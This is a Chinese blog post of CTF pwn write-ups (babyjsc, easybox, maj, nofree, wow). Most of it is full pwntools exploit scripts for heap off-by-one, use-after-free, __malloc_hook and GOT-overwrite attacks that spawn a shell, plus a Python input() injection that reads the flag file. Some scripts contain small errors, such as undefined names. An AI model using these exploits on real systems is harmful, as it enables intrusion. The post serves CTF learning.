登录后台

页面导航

本文编写于 93 天前,最后修改于 92 天前,其中某些信息可能已经过时。

前言

比赛的时候做出来了babyjsc,easybox,maj,做了点misc,其他pwn题为赛后复现

babyjsc

题目附件:
https://pan.baidu.com/share/init?surl=_-9DQxSJzOLc5gjl0Oo-2Q 提取码:GAME

解题思路:
找到了程序的server.py

import sys
import tempfile
import os


size = int(input())
assert(size < 1024*1024) #1MB max
script = sys.stdin.read(size) # reads one byte at a time, similar to getchar()


temp = tempfile.mktemp()
with open(temp, "w") as f:
    f.write(script)

os.environ['LD_PRELOAD'] = "./libJavaScriptCore.so.1"
cmd = "LD_PRELOAD=/home/ctf/libJavaScriptCore.so.1 /home/ctf/jsc " + temp
os.system(cmd)
没头绪,尝试连接端口测试,随便输入字符会报错input,拿到谷歌一搜input真的有漏洞

参考链接:
https://www.jianshu.com/p/668bfbdb6813

exp:

__import__('os').system('cat /home/ctf/flag')

easybox


很明显的off-by-one漏洞,没有show功能来泄露libc
利用思路:

  1. 利用堆重迭控制fd指针
  2. 改FD指针为stdout-0x51,成功实现劫持结构体
  3. 修改结构体从而泄露出真实地址
  4. 利用onegadget攻击malloc_hook
#coding:utf8
from pwn import *
#context.log_level = 'debug'
#debug = 1
elf = ELF('pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(idx, size, content):
    sh.recvuntil('>>>')
    sh.sendline('1')
    sh.recvuntil('idx:')
    sh.sendline(str(idx))
    sh.recvuntil('len:')
    sh.sendline(str(size))
    sh.recvuntil('content:')
    sh.send(content)

def delete(idx):
    sh.recvuntil('>>>')
    sh.sendline('2')
    sh.recvuntil('idx:')
    sh.sendline(str(idx))

def pwn():
    add(0,0x10,'a')
    add(1,0xf8,'b')
    add(2,0x68,'c')
    add(3,0x18,'d')
    delete(0)
    add(0,0x18,'a'*0x18+'\x71')
    delete(2)
    delete(1)
    add(1,0xf8,'b')
    delete(1)
    add(0,0x18,'a'*0x10+p64(0)+'\x71')
    add(1,0x168,'a'*0xf0+p64(0)+p64(0x71)+'\x75\xdd')
    payload='A'*0x33+p64(0xfbad1887)+p64(0)*3+'\x00'
    add(2,0x68,'a')
    add(4,0x68,payload)
    libc_base = u64(io.recvuntil('\x7f', timeout=0.2)[-6:].ljust(8, '\x00'))-0x3c5600
    if libc_base == -0x3c5600:
        sh.close()
        exit(1)
    log.success('libc_base:'+hex(libc_base))
    onegadget=libc_base+0xf1207
    add(5, 0x18, 'a')
    add(6, 0x68, 'a')
    add(7, 0x18, 'a')

    delete(3)
    add(3, 0x18, 'a'*0x10+p64(0)+'\x91')
    delete(6)
    delete(5)
    payload='a'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-0x23)
    add(5,0x80,payload)

    add(8,0x68,p64(malloc_hook-0x23))
    add(9,0x68,'a'*0x13+p64(onegadget))
    sh.recvuntil('>>>')
    sh.sendline('1')
    sh.recvuntil('idx:')
    sh.sendline(str(10))
    sh.recvuntil('len:')
    sh.sendline(str(1))

    sh.interactive()
if __name__ == '__main__':
    while True:
        global sh
        try:
            #sh = process('./pwn')
            sh=remote('101.200.53.148',34521)
            pwn()
        except:
            sh.close()

maj

uaf漏洞,需要改fd指针为stdout

#coding:utf8
from pwn import *
#context.log_level = 'debug'
debug = 1
elf = ELF('pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size,data):
    sh.sendlineafter('>> ',str(1))
    sh.sendlineafter('question\n\n',str(80))
    sh.recvuntil('______?\n')
    sh.sendline(str(size))
    sh.recvuntil('or_no?\n')
    sh.send(str(data))
def show(idx):
    sh.sendlineafter('>> ',str(3))
    sh.recvuntil('index ?\n')
    sh.sendline(str(idx))
def edit(idx,data):
    sh.sendlineafter('>> ',str(4))
    sh.recvuntil('index ?\n')
    sh.sendline(str(idx))
    sh.recvuntil('__new_content ?\n')
    sh.send(str(data))
def delete(idx):
    sh.sendlineafter('>> ',str(2))
    sh.recvuntil('index ?\n')
    sh.sendline(str(idx))
def pwn():
    add(0x68,'a')
    add(0xf8,'a')         # 1        0x60       0x70        0x7f
    add(0x60,'a')         # 2        0x60       0x70
    add(0x60,'a')         # 3        0x7f       0x90 --> 0x70 + 0x20
    add(0x10,'a') 
    edit(0,p64(0)*9+p64(0xb1))
    delete(3)
    delete(2)
    edit(1,'a'*0x80+p64(0xa0)+p64(0x70))
    delete(1)
    edit(2,'\x00')
    add(0x60,'a') #5
    add(0x60,'a') #6
    delete(6)
    add(0x88,'a') #7
    edit(6,'\xdd\xf5')
    add(0x60,'a')#8
    add(0x60,'a')#9
    edit(9,cyclic(51) + p64(0xfbad1887) + p64(0) * 3 + '\x00')
    libc_base = u64(io.recvuntil('\x7f', timeout=0.2)[-6:].ljust(8, '\x00'))-0x3c5600    
    gdb.attach(sh)
    log.success('libc_base:'+hex(libc_base))
    onegadget = libc_base+0xf1207
    malloc_hook = libc_base+libc.symbols['__malloc_hook']
    add(0x68, 'a')#10
    add(0x68, 'a')#11
    dele(10)
    dele(11)
    dele(10)
    add(0x68, 'a')  # 12
    edit(12, p64(malloc_hook-0x23))
    add(0x68, 'a')  # 13
    edit(13, p64(malloc_hook-0x23))
    add(0x68, 'a')  # 14
    edit(14, p64(malloc_hook-0x23))
    payload = 'A'*0x13+p64(onegadget)
    add(0x68, 'a')#15
    edit(15, payload)
    sh.recvuntil('>> ')
    sh.sendline('1')
    sh.recvuntil('please answer the questshn\n')
    sh.sendline('80')
    sh.recvuntil('______?')
    sh.sendline(str(1))

    #gdb.attach(sh)
    sh.interactive()
if __name__ == '__main__':
    while True:
        global sh
        try:
            sh = process('./pwn')
            #sh=remote('101.200.53.148',15423)
            pwn()
        except:
            sh.close()

nofree

题目信息

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

只有add和edit

  • add功能:最多3个块,大小在0~0x90之间,用的strdup函数
  • edit功能:能编辑相应堆块,大小为add时写入的size

strdup会申请内存而不释放,申请大小为实际填充字符串的大小,这里存在堆溢出
简单来说:add时填0x20的大小,只填充0x10的字符串,edit的时候就存在溢出漏洞

这道题的难点是无法free,没有show函数
比赛结束后我请教其他师傅,说可以改strdup函数的got表为printf函数制造格式化字符串漏洞

exp:

#coding:utf8
from pwn import *
#context.log_level = 'debug'
debug = 1
elf = ELF('pwn')

if debug:
    sh = process('./pwn')
    libc = elf.libc
else:
    sh = remote('101.200.53.148', 12301)
    libc = ELF('libc-2.27-64.so')


def add(idx,size,data):
    sh.sendlineafter('choice>> ',str(1))
    sh.recvuntil('idx: ')
    sh.sendline(str(idx))
    sh.recvuntil('size: ')
    sh.sendline(str(size))
    sh.recvuntil('content: ')
    sh.send(str(data))

def edit(idx,data):
    sh.sendlineafter('choice>> ',str(2))
    sh.recvuntil('idx: ')
    sh.sendline(str(idx))
    sh.recvuntil('content: ')
    sh.send(str(data))
for i in range(24):
    add(0,0x90,'a'*0x90)
add(0,0x90,'a')
edit(0,'\x00'*0x18+p64(0xe1))
add(0,0x90,'a'*0x30)
add(1,0x90,'a'*0x88+p64(0x81))
edit(0,'b'*0x30+p64(0)+p64(0x81)+p64(0x602140))
add(0,0x90,'a'*0x70)
add(2,0x90,'c'*0x70+p64(0)*3+p64(0x81))
edit(2,'c'*0x70+p64(0x602068)+p64(0x90))
edit(0,p64(0x400700))

#gdb.attach(sh,'b *0x400700 \n c')
add(0,0x10,'%17$p')

libc_base = int(sh.recv(14),16) - 0x20840
print hex(libc_base)
edit(2,'c'*0x70+p64(elf.got['strdup'])+p64(0x90))
edit(0,p64(libc_base+libc.symbols['system']))
add(0,0x10,'/bin/sh\x00')
sh.interactive()

wow

一个vmpwn,我的ida识别错误了,是函数边界造成的,需要修复一下

将sub_404CA5函数的end改为0x404DC4

然后在这里新创建一个函数就可以了

主要有@#^|&$*~{} 这些功能

字符串功能
@++ptr
#- -ptr
^++*ptr
竖线- -*ptr
&write(1,rbx,1)
$read(0,rbx,1)
**ptr << 2
~~*ptr
{ }类似while

整个程序就是模拟栈

参考链接

https://www.anquanke.com/post/id/215100#h3-6

https://blog.csdn.net/qq_43116977/article/details/108161245